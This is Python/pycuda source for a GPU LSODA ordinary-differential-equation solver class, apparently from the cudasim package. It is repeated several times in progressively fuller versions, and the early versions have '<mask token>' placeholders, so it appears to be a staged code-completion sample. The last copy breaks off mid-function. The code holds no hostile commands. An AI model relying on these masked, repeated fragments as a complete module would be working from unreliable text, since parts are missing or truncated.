<mask token> class Lsoda(sim.SimulatorMG): <mask token> <mask token> <mask token> <mask token> def _compile(self, step_code): self._beta = 1 fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0], 'cuLsoda_all.cu'), 'r') _sourceFromFile_ = fc.read() _isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\n' _rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16, self._speciesNumber + 9)) + '\n' _textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\n' _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr( 1 * 1) + '];\n' _code_ = (_isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_) if self._dump: of = open('full_ode_code.cu', 'w') print >> of, _code_ compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc', options=[], no_extern_c=True, keep=False) blocks, threads = self._getOptimalGPUParam(compiled.get_function( 'cuLsoda')) blocks = self._MAXBLOCKSPERDEVICE _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr( blocks * threads) + '];\n' _code_ = (_isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_) if self._dump: of = open('full_ode_code.cu', 'w') print >> of, _code_ compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc', options=[], no_extern_c=True, keep=False) self._param_tex = compiled.get_texref('param_tex') lsoda_kernel = compiled.get_function('cuLsoda') return compiled, lsoda_kernel <mask token>
<mask token> class Lsoda(sim.SimulatorMG): <mask token> <mask token> <mask token> <mask token> def _compile(self, step_code): self._beta = 1 fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0], 'cuLsoda_all.cu'), 'r') _sourceFromFile_ = fc.read() _isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\n' _rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16, self._speciesNumber + 9)) + '\n' _textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\n' _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr( 1 * 1) + '];\n' _code_ = (_isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_) if self._dump: of = open('full_ode_code.cu', 'w') print >> of, _code_ compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc', options=[], no_extern_c=True, keep=False) blocks, threads = self._getOptimalGPUParam(compiled.get_function( 'cuLsoda')) blocks = self._MAXBLOCKSPERDEVICE _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr( blocks * threads) + '];\n' _code_ = (_isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_) if self._dump: of = open('full_ode_code.cu', 'w') print >> of, _code_ compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc', options=[], no_extern_c=True, keep=False) self._param_tex = compiled.get_texref('param_tex') lsoda_kernel = compiled.get_function('cuLsoda') return compiled, lsoda_kernel def _run_simulation(self, parameters, init_values, blocks, threads, in_atol=1e-06, in_rtol=1e-06): total_threads = threads * blocks experiments = len(parameters) neqn = self._speciesNumber init_common_kernel = self._completeCode.get_function('init_common') init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1)) ret_xt = np.zeros([total_threads, 1, self._resultNumber, self. _speciesNumber]) ret_istate = np.ones([total_threads], dtype=np.int32) isize = 20 + self._speciesNumber rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9) t = np.zeros([total_threads], dtype=np.float64) jt = np.zeros([total_threads], dtype=np.int32) neq = np.zeros([total_threads], dtype=np.int32) itol = np.zeros([total_threads], dtype=np.int32) iopt = np.zeros([total_threads], dtype=np.int32) rtol = np.zeros([total_threads], dtype=np.float64) iout = np.zeros([total_threads], dtype=np.int32) tout = np.zeros([total_threads], dtype=np.float64) itask = np.zeros([total_threads], dtype=np.int32) istate = np.zeros([total_threads], dtype=np.int32) atol = np.zeros([total_threads], dtype=np.float64) liw = np.zeros([total_threads], dtype=np.int32) lrw = np.zeros([total_threads], dtype=np.int32) iwork = np.zeros([isize * total_threads], dtype=np.int32) rwork = np.zeros([rsize * total_threads], dtype=np.float64) y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64) for i in range(total_threads): neq[i] = neqn t[i] = 0 itol[i] = 1 itask[i] = 1 istate[i] = 1 iopt[i] = 0 jt[i] = 2 atol[i] = in_atol rtol[i] = in_rtol liw[i] = isize lrw[i] = rsize try: for j in range(self._speciesNumber): y[i * self._speciesNumber + j] = init_values[i][j] ret_xt[i, 0, 0, j] = init_values[i][j] except IndexError: pass d_t = driver.mem_alloc(t.size * t.dtype.itemsize) d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize) d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize) d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize) d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize) d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize) d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize) d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize) d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize) d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize) d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize) d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize) d_y = driver.mem_alloc(y.size * y.dtype.itemsize) d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize) d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize) d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize) driver.memcpy_htod(d_t, t) driver.memcpy_htod(d_jt, jt) driver.memcpy_htod(d_neq, neq) driver.memcpy_htod(d_liw, liw) driver.memcpy_htod(d_lrw, lrw) driver.memcpy_htod(d_itol, itol) driver.memcpy_htod(d_iopt, iopt) driver.memcpy_htod(d_rtol, rtol) driver.memcpy_htod(d_iout, iout) driver.memcpy_htod(d_tout, tout) driver.memcpy_htod(d_itask, itask) driver.memcpy_htod(d_istate, istate) driver.memcpy_htod(d_y, y) driver.memcpy_htod(d_atol, atol) driver.memcpy_htod(d_iwork, iwork) driver.memcpy_htod(d_rwork, rwork) param = np.zeros((total_threads, self._parameterNumber), dtype=np. float32) try: for i in range(len(parameters)): for j in range(self._parameterNumber): param[i][j] = parameters[i][j] except IndexError: pass ary = sim.create_2D_array(param) sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4, total_threads) self._param_tex.set_array(ary) if self._dt <= 0: for i in range(self._resultNumber): for j in range(total_threads): tout[j] = self._timepoints[i] driver.memcpy_htod(d_tout, tout) self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1), grid=(blocks, 1)) driver.memcpy_dtoh(t, d_t) driver.memcpy_dtoh(y, d_y) driver.memcpy_dtoh(istate, d_istate) for j in range(total_threads): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k] if istate[j] < 0: ret_istate[j] = 0 else: tt = self._timepoints[0] for i in range(self._resultNumber): while 1: next_time = min(tt + self._dt, self._timepoints[i]) for j in range(total_threads): tout[j] = next_time driver.memcpy_htod(d_tout, tout) self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1), grid=(blocks, 1)) driver.memcpy_dtoh(t, d_t) driver.memcpy_dtoh(y, d_y) driver.memcpy_dtoh(istate, d_istate) if np.abs(next_time - self._timepoints[i]) < 1e-05: tt = next_time break tt = next_time for j in range(total_threads): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k] if istate[j] < 0: ret_istate[j] = 0 for j in range(total_threads): if ret_istate[j] == 0: for i in range(self._resultNumber): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = float('NaN') return ret_xt[0:experiments]
<mask token> class Lsoda(sim.SimulatorMG): _param_tex = None _step_code = None _runtimeCompile = True _lsoda_source_ = """ extern "C"{ #include <stdio.h> __device__ myFex myfex; __device__ myJex myjex; __global__ void init_common(){ int tid = blockDim.x * blockIdx.x + threadIdx.x; cuLsodaCommonBlockInit( &(common[tid]) ); } __global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol, double *rtol, double *atol, int *itask, int *istate, int *iopt, double *rwork, int *lrw, int *iwork, int *liw, int *jt) { int tid = blockDim.x * blockIdx.x + threadIdx.x; //if(tid==0){ //printf("I am thread time %d %f\\n", tid, t[0] ); //} dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid, istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) ); //if(tid==0){ //printf("I am done %d %f\\n", tid, t[0] ); //} } } """ def _compile(self, step_code): self._beta = 1 fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0], 'cuLsoda_all.cu'), 'r') _sourceFromFile_ = fc.read() _isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\n' _rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16, self._speciesNumber + 9)) + '\n' _textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\n' _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr( 1 * 1) + '];\n' _code_ = (_isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_) if self._dump: of = open('full_ode_code.cu', 'w') print >> of, _code_ compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc', options=[], no_extern_c=True, keep=False) blocks, threads = self._getOptimalGPUParam(compiled.get_function( 'cuLsoda')) blocks = self._MAXBLOCKSPERDEVICE _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr( blocks * threads) + '];\n' _code_ = (_isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_) if self._dump: of = open('full_ode_code.cu', 'w') print >> of, _code_ compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc', options=[], no_extern_c=True, keep=False) self._param_tex = compiled.get_texref('param_tex') lsoda_kernel = compiled.get_function('cuLsoda') return compiled, lsoda_kernel def _run_simulation(self, parameters, init_values, blocks, threads, in_atol=1e-06, in_rtol=1e-06): total_threads = threads * blocks experiments = len(parameters) neqn = self._speciesNumber init_common_kernel = self._completeCode.get_function('init_common') init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1)) ret_xt = np.zeros([total_threads, 1, self._resultNumber, self. _speciesNumber]) ret_istate = np.ones([total_threads], dtype=np.int32) isize = 20 + self._speciesNumber rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9) t = np.zeros([total_threads], dtype=np.float64) jt = np.zeros([total_threads], dtype=np.int32) neq = np.zeros([total_threads], dtype=np.int32) itol = np.zeros([total_threads], dtype=np.int32) iopt = np.zeros([total_threads], dtype=np.int32) rtol = np.zeros([total_threads], dtype=np.float64) iout = np.zeros([total_threads], dtype=np.int32) tout = np.zeros([total_threads], dtype=np.float64) itask = np.zeros([total_threads], dtype=np.int32) istate = np.zeros([total_threads], dtype=np.int32) atol = np.zeros([total_threads], dtype=np.float64) liw = np.zeros([total_threads], dtype=np.int32) lrw = np.zeros([total_threads], dtype=np.int32) iwork = np.zeros([isize * total_threads], dtype=np.int32) rwork = np.zeros([rsize * total_threads], dtype=np.float64) y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64) for i in range(total_threads): neq[i] = neqn t[i] = 0 itol[i] = 1 itask[i] = 1 istate[i] = 1 iopt[i] = 0 jt[i] = 2 atol[i] = in_atol rtol[i] = in_rtol liw[i] = isize lrw[i] = rsize try: for j in range(self._speciesNumber): y[i * self._speciesNumber + j] = init_values[i][j] ret_xt[i, 0, 0, j] = init_values[i][j] except IndexError: pass d_t = driver.mem_alloc(t.size * t.dtype.itemsize) d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize) d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize) d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize) d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize) d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize) d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize) d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize) d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize) d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize) d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize) d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize) d_y = driver.mem_alloc(y.size * y.dtype.itemsize) d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize) d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize) d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize) driver.memcpy_htod(d_t, t) driver.memcpy_htod(d_jt, jt) driver.memcpy_htod(d_neq, neq) driver.memcpy_htod(d_liw, liw) driver.memcpy_htod(d_lrw, lrw) driver.memcpy_htod(d_itol, itol) driver.memcpy_htod(d_iopt, iopt) driver.memcpy_htod(d_rtol, rtol) driver.memcpy_htod(d_iout, iout) driver.memcpy_htod(d_tout, tout) driver.memcpy_htod(d_itask, itask) driver.memcpy_htod(d_istate, istate) driver.memcpy_htod(d_y, y) driver.memcpy_htod(d_atol, atol) driver.memcpy_htod(d_iwork, iwork) driver.memcpy_htod(d_rwork, rwork) param = np.zeros((total_threads, self._parameterNumber), dtype=np. float32) try: for i in range(len(parameters)): for j in range(self._parameterNumber): param[i][j] = parameters[i][j] except IndexError: pass ary = sim.create_2D_array(param) sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4, total_threads) self._param_tex.set_array(ary) if self._dt <= 0: for i in range(self._resultNumber): for j in range(total_threads): tout[j] = self._timepoints[i] driver.memcpy_htod(d_tout, tout) self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1), grid=(blocks, 1)) driver.memcpy_dtoh(t, d_t) driver.memcpy_dtoh(y, d_y) driver.memcpy_dtoh(istate, d_istate) for j in range(total_threads): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k] if istate[j] < 0: ret_istate[j] = 0 else: tt = self._timepoints[0] for i in range(self._resultNumber): while 1: next_time = min(tt + self._dt, self._timepoints[i]) for j in range(total_threads): tout[j] = next_time driver.memcpy_htod(d_tout, tout) self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1), grid=(blocks, 1)) driver.memcpy_dtoh(t, d_t) driver.memcpy_dtoh(y, d_y) driver.memcpy_dtoh(istate, d_istate) if np.abs(next_time - self._timepoints[i]) < 1e-05: tt = next_time break tt = next_time for j in range(total_threads): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k] if istate[j] < 0: ret_istate[j] = 0 for j in range(total_threads): if ret_istate[j] == 0: for i in range(self._resultNumber): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = float('NaN') return ret_xt[0:experiments]
import os import numpy as np import pycuda import pycuda.driver as driver import cudasim.solvers.cuda.Simulator_mg as sim import cudasim class Lsoda(sim.SimulatorMG): _param_tex = None _step_code = None _runtimeCompile = True _lsoda_source_ = """ extern "C"{ #include <stdio.h> __device__ myFex myfex; __device__ myJex myjex; __global__ void init_common(){ int tid = blockDim.x * blockIdx.x + threadIdx.x; cuLsodaCommonBlockInit( &(common[tid]) ); } __global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol, double *rtol, double *atol, int *itask, int *istate, int *iopt, double *rwork, int *lrw, int *iwork, int *liw, int *jt) { int tid = blockDim.x * blockIdx.x + threadIdx.x; //if(tid==0){ //printf("I am thread time %d %f\\n", tid, t[0] ); //} dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid, istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) ); //if(tid==0){ //printf("I am done %d %f\\n", tid, t[0] ); //} } } """ def _compile(self, step_code): self._beta = 1 fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0], 'cuLsoda_all.cu'), 'r') _sourceFromFile_ = fc.read() _isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\n' _rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16, self._speciesNumber + 9)) + '\n' _textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\n' _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr( 1 * 1) + '];\n' _code_ = (_isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_) if self._dump: of = open('full_ode_code.cu', 'w') print >> of, _code_ compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc', options=[], no_extern_c=True, keep=False) blocks, threads = self._getOptimalGPUParam(compiled.get_function( 'cuLsoda')) blocks = self._MAXBLOCKSPERDEVICE _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr( blocks * threads) + '];\n' _code_ = (_isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_) if self._dump: of = open('full_ode_code.cu', 'w') print >> of, _code_ compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc', options=[], no_extern_c=True, keep=False) self._param_tex = compiled.get_texref('param_tex') lsoda_kernel = compiled.get_function('cuLsoda') return compiled, lsoda_kernel def _run_simulation(self, parameters, init_values, blocks, threads, in_atol=1e-06, in_rtol=1e-06): total_threads = threads * blocks experiments = len(parameters) neqn = self._speciesNumber init_common_kernel = self._completeCode.get_function('init_common') init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1)) ret_xt = np.zeros([total_threads, 1, self._resultNumber, self. _speciesNumber]) ret_istate = np.ones([total_threads], dtype=np.int32) isize = 20 + self._speciesNumber rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9) t = np.zeros([total_threads], dtype=np.float64) jt = np.zeros([total_threads], dtype=np.int32) neq = np.zeros([total_threads], dtype=np.int32) itol = np.zeros([total_threads], dtype=np.int32) iopt = np.zeros([total_threads], dtype=np.int32) rtol = np.zeros([total_threads], dtype=np.float64) iout = np.zeros([total_threads], dtype=np.int32) tout = np.zeros([total_threads], dtype=np.float64) itask = np.zeros([total_threads], dtype=np.int32) istate = np.zeros([total_threads], dtype=np.int32) atol = np.zeros([total_threads], dtype=np.float64) liw = np.zeros([total_threads], dtype=np.int32) lrw = np.zeros([total_threads], dtype=np.int32) iwork = np.zeros([isize * total_threads], dtype=np.int32) rwork = np.zeros([rsize * total_threads], dtype=np.float64) y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64) for i in range(total_threads): neq[i] = neqn t[i] = 0 itol[i] = 1 itask[i] = 1 istate[i] = 1 iopt[i] = 0 jt[i] = 2 atol[i] = in_atol rtol[i] = in_rtol liw[i] = isize lrw[i] = rsize try: for j in range(self._speciesNumber): y[i * self._speciesNumber + j] = init_values[i][j] ret_xt[i, 0, 0, j] = init_values[i][j] except IndexError: pass d_t = driver.mem_alloc(t.size * t.dtype.itemsize) d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize) d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize) d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize) d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize) d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize) d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize) d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize) d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize) d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize) d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize) d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize) d_y = driver.mem_alloc(y.size * y.dtype.itemsize) d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize) d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize) d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize) driver.memcpy_htod(d_t, t) driver.memcpy_htod(d_jt, jt) driver.memcpy_htod(d_neq, neq) driver.memcpy_htod(d_liw, liw) driver.memcpy_htod(d_lrw, lrw) driver.memcpy_htod(d_itol, itol) driver.memcpy_htod(d_iopt, iopt) driver.memcpy_htod(d_rtol, rtol) driver.memcpy_htod(d_iout, iout) driver.memcpy_htod(d_tout, tout) driver.memcpy_htod(d_itask, itask) driver.memcpy_htod(d_istate, istate) driver.memcpy_htod(d_y, y) driver.memcpy_htod(d_atol, atol) driver.memcpy_htod(d_iwork, iwork) driver.memcpy_htod(d_rwork, rwork) param = np.zeros((total_threads, self._parameterNumber), dtype=np. float32) try: for i in range(len(parameters)): for j in range(self._parameterNumber): param[i][j] = parameters[i][j] except IndexError: pass ary = sim.create_2D_array(param) sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4, total_threads) self._param_tex.set_array(ary) if self._dt <= 0: for i in range(self._resultNumber): for j in range(total_threads): tout[j] = self._timepoints[i] driver.memcpy_htod(d_tout, tout) self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1), grid=(blocks, 1)) driver.memcpy_dtoh(t, d_t) driver.memcpy_dtoh(y, d_y) driver.memcpy_dtoh(istate, d_istate) for j in range(total_threads): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k] if istate[j] < 0: ret_istate[j] = 0 else: tt = self._timepoints[0] for i in range(self._resultNumber): while 1: next_time = min(tt + self._dt, self._timepoints[i]) for j in range(total_threads): tout[j] = next_time driver.memcpy_htod(d_tout, tout) self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1), grid=(blocks, 1)) driver.memcpy_dtoh(t, d_t) driver.memcpy_dtoh(y, d_y) driver.memcpy_dtoh(istate, d_istate) if np.abs(next_time - self._timepoints[i]) < 1e-05: tt = next_time break tt = next_time for j in range(total_threads): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k] if istate[j] < 0: ret_istate[j] = 0 for j in range(total_threads): if ret_istate[j] == 0: for i in range(self._resultNumber): for k in range(self._speciesNumber): ret_xt[j, 0, i, k] = float('NaN') return ret_xt[0:experiments]
import os import numpy as np import pycuda import pycuda.driver as driver import cudasim.solvers.cuda.Simulator_mg as sim import cudasim class Lsoda(sim.SimulatorMG): _param_tex = None _step_code = None _runtimeCompile = True _lsoda_source_ = """ extern "C"{ #include <stdio.h> __device__ myFex myfex; __device__ myJex myjex; __global__ void init_common(){ int tid = blockDim.x * blockIdx.x + threadIdx.x; cuLsodaCommonBlockInit( &(common[tid]) ); } __global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol, double *rtol, double *atol, int *itask, int *istate, int *iopt, double *rwork, int *lrw, int *iwork, int *liw, int *jt) { int tid = blockDim.x * blockIdx.x + threadIdx.x; //if(tid==0){ //printf("I am thread time %d %f\\n", tid, t[0] ); //} dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid, istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) ); //if(tid==0){ //printf("I am done %d %f\\n", tid, t[0] ); //} } } """ def _compile(self, step_code): # set beta to 1: repeats are pointless as simulation is deterministic self._beta = 1 fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0], 'cuLsoda_all.cu'), 'r') _sourceFromFile_ = fc.read() _isize_ = "#define ISIZE " + repr(20 + self._speciesNumber) + "\n" _rsize_ = "#define RSIZE " + repr(22 + self._speciesNumber * max(16, self._speciesNumber + 9)) + "\n" _textures_ = "texture<float, 2, cudaReadModeElementType> param_tex;\n" _common_block_ = "__device__ struct cuLsodaCommonBlock common[" + repr(1 * 1) + "];\n" _code_ = _isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_ if self._dump: of = open("full_ode_code.cu", "w") print >> of, _code_ # dummy compile to determine optimal blockSize and gridSize compiled = pycuda.compiler.SourceModule(_code_, nvcc="nvcc", options=[], no_extern_c=True, keep=False) blocks, threads = self._getOptimalGPUParam(compiled.get_function("cuLsoda")) blocks = self._MAXBLOCKSPERDEVICE # real compile _common_block_ = "__device__ struct cuLsodaCommonBlock common[" + repr(blocks * threads) + "];\n" _code_ = _isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_ if self._dump: of = open("full_ode_code.cu", "w") print >> of, _code_ compiled = pycuda.compiler.SourceModule(_code_, nvcc="nvcc", options=[], no_extern_c=True, keep=False) self._param_tex = compiled.get_texref("param_tex") lsoda_kernel = compiled.get_function("cuLsoda") return compiled, lsoda_kernel def _run_simulation(self, parameters, init_values, blocks, threads, in_atol=1e-6, in_rtol=1e-6): total_threads = threads * blocks experiments = len(parameters) neqn = self._speciesNumber # compile init_common_kernel = self._completeCode.get_function("init_common") init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1)) # output array ret_xt = np.zeros([total_threads, 1, self._resultNumber, self._speciesNumber]) ret_istate = np.ones([total_threads], dtype=np.int32) # calculate sizes of work spaces isize = 20 + self._speciesNumber rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9) # local variables t = np.zeros([total_threads], dtype=np.float64) jt = np.zeros([total_threads], dtype=np.int32) neq = np.zeros([total_threads], dtype=np.int32) itol = np.zeros([total_threads], dtype=np.int32) iopt = np.zeros([total_threads], dtype=np.int32) rtol = np.zeros([total_threads], dtype=np.float64) iout = np.zeros([total_threads], dtype=np.int32) tout = np.zeros([total_threads], dtype=np.float64) itask = np.zeros([total_threads], dtype=np.int32) istate = np.zeros([total_threads], dtype=np.int32) atol = np.zeros([total_threads], dtype=np.float64) liw = np.zeros([total_threads], dtype=np.int32) lrw = np.zeros([total_threads], dtype=np.int32) iwork = np.zeros([isize * total_threads], dtype=np.int32) rwork = np.zeros([rsize * total_threads], dtype=np.float64) y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64) for i in range(total_threads): neq[i] = neqn t[i] = 0 itol[i] = 1 itask[i] = 1 istate[i] = 1 iopt[i] = 0 jt[i] = 2 atol[i] = in_atol rtol[i] = in_rtol liw[i] = isize lrw[i] = rsize try: # initial conditions for j in range(self._speciesNumber): # loop over species y[i * self._speciesNumber + j] = init_values[i][j] ret_xt[i, 0, 0, j] = init_values[i][j] except IndexError: pass # allocate on device d_t = driver.mem_alloc(t.size * t.dtype.itemsize) d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize) d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize) d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize) d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize) d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize) d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize) d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize) d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize) d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize) d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize) d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize) d_y = driver.mem_alloc(y.size * y.dtype.itemsize) d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize) d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize) d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize) # copy to device driver.memcpy_htod(d_t, t) driver.memcpy_htod(d_jt, jt) driver.memcpy_htod(d_neq, neq) driver.memcpy_htod(d_liw, liw) driver.memcpy_htod(d_lrw, lrw) driver.memcpy_htod(d_itol, itol) driver.memcpy_htod(d_iopt, iopt) driver.memcpy_htod(d_rtol, rtol) driver.memcpy_htod(d_iout, iout) driver.memcpy_htod(d_tout, tout) driver.memcpy_htod(d_itask, itask) driver.memcpy_htod(d_istate, istate) driver.memcpy_htod(d_y, y) driver.memcpy_htod(d_atol, atol) driver.memcpy_htod(d_iwork, iwork) driver.memcpy_htod(d_rwork, rwork) param = np.zeros((total_threads, self._parameterNumber), dtype=np.float32) try: for i in range(len(parameters)): for j in range(self._parameterNumber): param[i][j] = parameters[i][j] except IndexError: pass # parameter texture ary = sim.create_2D_array(param) sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4, total_threads) self._param_tex.set_array(ary) if self._dt <= 0: for i in range(self._resultNumber): for j in range(total_threads): tout[j] = self._timepoints[i] driver.memcpy_htod(d_tout, tout) self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1), grid=(blocks, 1)) 